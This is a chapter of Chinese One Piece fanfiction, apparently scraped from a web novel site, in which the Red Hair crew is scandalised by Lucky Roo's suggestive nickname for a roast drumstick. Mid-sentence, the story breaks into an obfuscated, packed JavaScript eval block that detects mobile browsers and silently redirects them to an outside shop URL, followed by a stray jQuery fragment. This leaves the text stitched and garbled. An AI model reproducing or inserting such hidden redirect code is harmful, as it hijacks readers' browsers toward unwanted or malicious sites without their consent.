不愧是四皇,仅仅是随意地提着剑站在那里,并未刻意释放气势,那身经百战、登临顶点的存在感本身,就如同一座无形的大山,沉甸甸地压在科特克的心头,让她的膝盖控制不住地微微发软,握着木棍的手心沁出冰凉的汗。
但比这无形的威压更让科特克闻之色变、头皮发麻的,是顺着午后慵懒海风,隐隐约约、却又无比清晰地飘过来的,属于狙击手耶稣布和厨师拉基·路之间那实在算不上低声、甚至可以称之为肆无忌惮的交谈。
相反,在这片因切磋而骤然安静空旷下来的甲板上,这两人的对话声简直跟拿着扩音喇叭贴着耳朵喊没什么区别。
“喂,拉基·路,你说说,”耶稣布不知道何时已经悄无声息地溜达到了正专心啃鸡腿的拉基·路身边,他脸上毫不掩饰看好戏的兴味盎然,用手肘轻轻戳了戳拉基路肉乎乎的腰侧,压低了声音,“咱们这位威名赫赫的‘猴王’阁下,能在头儿手底下撑过多少个回合?我赌……最多一回合。不能再多了。”
他说着,还伸出食指比了个1,脸上是笃定的坏笑。
“唔……”拉基·路正全神贯注地对付着他手里那根油光发亮、香气扑鼻的蜂蜜烤鸡腿,闻言含糊地应了一声,鼓着塞满肉的腮帮子,思考了大约零点五秒,然后斩钉截铁、口齿不清地给出了自己的判断:“我赌……半回合。”
他甚至用油乎乎的手比划了一下“半”的手势。
“好哇!”耶稣布眼睛一亮,仿佛找到了同好,兴致更高了,“光赌输赢多没意思,总得赌点儿什么彩头吧?要不那多没劲儿啊!”
他挤眉弄眼,显然对这即将上演的娱乐节目充满了期待,并且致力于为其增添更多趣味。
拉基·路闻言,暂停了咀嚼,抬起他那张憨厚的圆脸,似乎很认真地思考了一下赌注。
然后,在周围无数道或明或暗的注视下,他用一种讨论今晚汤里放什么香料般平常、自然、理所当然的语气,清晰地说道:
“那就赌……一根‘哒//柔//棒’吧。”
“……”
静。
全场死一般的寂静。
仿佛时间被按下了暂停键。
天空盘旋的海鸥忘记了鸣叫,慵懒的海风停止了流动,连香克斯周身那隐隐波动的、按捺不住的霸王色霸气余韵,都仿佛凝固在了空气里。
所有人的表情,都在瞬间定格,然后缓缓转向一种难以置信的、仿佛看到了宇宙终极奇观的惊悚。
尤其是香克斯本人。
他脸上的表情瞬间扭曲,混合了极致的错愕、茫然、以及某种深入骨髓的、仿佛亲眼目睹了凯多那个肌肉虬结、青龙形态的恐怖怪物,穿着一身缀满黑色蕾丝和蝴蝶结的蓬蓬裙,脖子上系着超大号、亮闪闪的粉红色蝴蝶结,扭扭捏捏、羞羞答答如同陷入热恋的怀春少女,双手捧着一封喷了浓郁少女心香水、用最缠绵悱恂、肉麻到极致的词句写就的华丽情书,迈着内八小碎步,红着脸,一边说什么“香克斯大人请收下人家的情书吧”一边向他递过来……那样的、灵魂出窍般的惊悚与震撼!
站在香克斯对面的科特克更是如同被九天玄雷当头劈中,整个人僵在原地,瞳孔地震,大脑一片空白。
什、什么???
大什么???
什么肉什么???
什么棒???!!!
拉基·路!你知道你在说什么吗?!这、这是能在这种切磋指导、检验成果的严肃场合,当着这么多人的面,如此光明正大、理直气壮、面不改色说出来的词吗?!这歧义大到足以让纯洁的海鸥都羞愤投海啊!!
所有人的目光,如同探照灯般,“唰”地一下,齐刷刷地射向了语出惊人的拉基·路,眼神里充满了“你没事吧?”、“是不是鸡腿里有毒?”、“需不需要本乡医生紧急抢救一下?”的震惊与关怀。
连始作俑者耶稣布,脸上的促狭笑容都瞬间冻结,然后缓缓碎裂,变成了另一种更加真切的惊恐,他脖子有些僵硬地转向拉基路,声音发干,带着难以置信的颤抖:
“大……大什么??” 他甚至不敢完整地重复那个词,仿佛那是什么不可名状的禁忌咒语。
拉基路似乎完全没感受到周围诡异到极点、几乎要实质化的气氛,他眨了眨那双小眼睛,脸上依旧是那副憨厚无辜的表情,甚至因为嘴里还有食物而显得有些迷糊。
他用力咽下嘴里的鸡肉,然后用一种这有什么好大惊小怪的、略带疑惑的语气,清晰而平稳地解释道:
“哒//柔//棒//啊。就是我特制的、用蜂蜜和独家香料烤出来的超大号鸡腿嘛。”
他晃了晃手里那根啃了一半、依旧散发着诱人光泽和香气的大鸡腿,补充道:
“我正吃着东西呢,说话不方便,简称一下不行吗?‘哒//柔//棒’,多形象,多有分量感。”
众人:“…………”
是简称不简称的事儿吗?!是形象不形象的问题吗?!烤鸡腿你就直说烤鸡腿啊!蜜汁鸡腿、烤鸡大腿、甚至是你的拿手菜都行啊!你简称为“哒//柔//棒”是几个意思啊?!
知道的是鸡腿,不知道的……不知道的还以为是……是那种需要打马赛克、只能在深夜成//人//频//道或者某些特殊海域的禁忌店铺里才能谈论的、不可描述的、关乎男性尊严与下半生幸福的东西啊喂!!
耶稣布的嘴角以惊人的幅度和频率狠狠抽搐了好几下,他感觉自己后背瞬间冒出了一层白毛汗,心脏刚才差点从嗓子眼跳出去。
他干笑了两声,声音依旧有些发飘:“哈、哈哈……鸡、鸡腿好,鸡腿好……赌鸡腿好……”
耶稣布内心疯狂后怕,冷汗都差点下来。
刚才那一瞬间,他差点以为这个赌约真的要押上自己作为男人后半辈子的尊严与幸福了!
他还等着以后和儿子乌索普重逢,好好指导那小子如何成为一名英勇出色的海上战士呢。他可不想因为一个赌注就莫名其妙走上某种不可逆的、需要穿裙子和高跟鞋的诡异道路,或者变成某些世界政府加盟国贵族宫廷里流传的、缺少了某些重要男性特征的、专门负责内部事务的特殊职业者啊,这代价也太沉重了!
就连香克斯,在经历了最初的灵魂暴击后,也勉强从凯多蕾丝情书的恐怖脑补中挣扎着回过神来。虽然他觉得某个不可言说的部位似乎传来了一阵微弱的、基于雄性
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557347|202940||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
本能的幻痛,但他还是用力甩了甩头,试图将注意力拉回眼前的正事。
香克斯清了清嗓子,试图让自己的表情和声音恢复正常,但眼底那一丝残留的惊悸和嘴角不自然的抽搐还是出卖了他:
“那…那么,科特克,我们…继续?”
他的目光重新锁定科特克,试图重新凝聚起那份指导后辈的威严和找乐子的兴致。
科特克还沉浸在哒//柔//棒带来的巨大精神冲击和世界观震荡中,脑子一片混沌。听到香克斯的话,她下意识地低头,看向自己手中那根因为紧张而被攥得死紧、此刻在她眼中仿佛也带上了某种不祥隐喻的实心训练木棒。
脑子一抽,某种短路般的、未经思考的、纯粹条件反射的话语,就这么脱口而出:
“头儿,您这也太急性子了吧?”
她的声音还带着点恍惚和震惊后的余韵,但话里的内容却让刚刚稍有松动的空气再次凝固。
“就这么急不可耐的……” 科特克眨了眨眼,似乎还没完全意识到自己在说什么,目光在自己手里的木棒和香克斯之间游移了一下,然后,用一种混合了无奈、困惑和一丝微妙嫌弃的语气,补完了后半句:
“……想品尝我的‘大木棒’吗?”
“……”
万籁俱寂。
时间仿佛再次被冻结,而且冻得比刚才更结实、更彻底。
耶稣布脸上那勉强挤出的、劫后余生的干笑彻底僵住,表情凝固成一个滑稽的雕像。就连一向山崩于前面不改色的副船长贝克曼,此刻叼着雪茄的嘴角也几不可查地抽搐了一下,眼神里闪过一丝极其罕见的、名为不淡定的波澜。莱姆琼斯那副努力维持的平静面容瞬间破裂。连永远温和含笑的本乡脸上的笑容也出现了一瞬间极其细微的凝滞,眼底掠过一丝难以置信。
船上所有还在喘气的生物,有一个算一个,全都用那种极致惊悚、仿佛看到了白胡子穿女装跳草裙舞求婚红发般的、世界观被彻底粉碎又重组的目光,齐刷刷地、死死地钉在了科特克身上!
而造成这一切混乱的罪魁祸首之一,拉基·路却仿佛完全置身于这片诡异的寂静和无数道惊悚目光之外。
他啃完了最后一口鸡肉,满足地咂了咂嘴,将光溜溜的骨头随手扔进旁边的小桶,然后用他那依旧平稳、憨厚、甚至带着点美食家般认真探讨的语气,声音清晰地打破了死寂:
“头儿,你还挺馋的。”
他点评道,仿佛在说一个客观事实。
“不过,”他话锋一转,带着一种“我是为你好”的诚恳,“木棒不好吃,硬邦邦的,没味道,还硌牙。”
然后,在所有人更加惊恐、更加难以置信的注视下,拉基·路拍了拍自己圆滚滚的肚皮,露出了一个憨厚无比、充满真诚推荐意味的笑容:
“还不如……”
他顿了顿,确保每个字都能被听清。
“……吃我的‘哒//柔//棒’呢。”
甲板上,第三次陷入了那种足以让海王类都窒息的、终极的、死寂的石化状态。
只有那几只紫色的海鸥,似乎也被这过于成人和哲学的对话所震慑,扑棱着翅膀,无声地飞远了。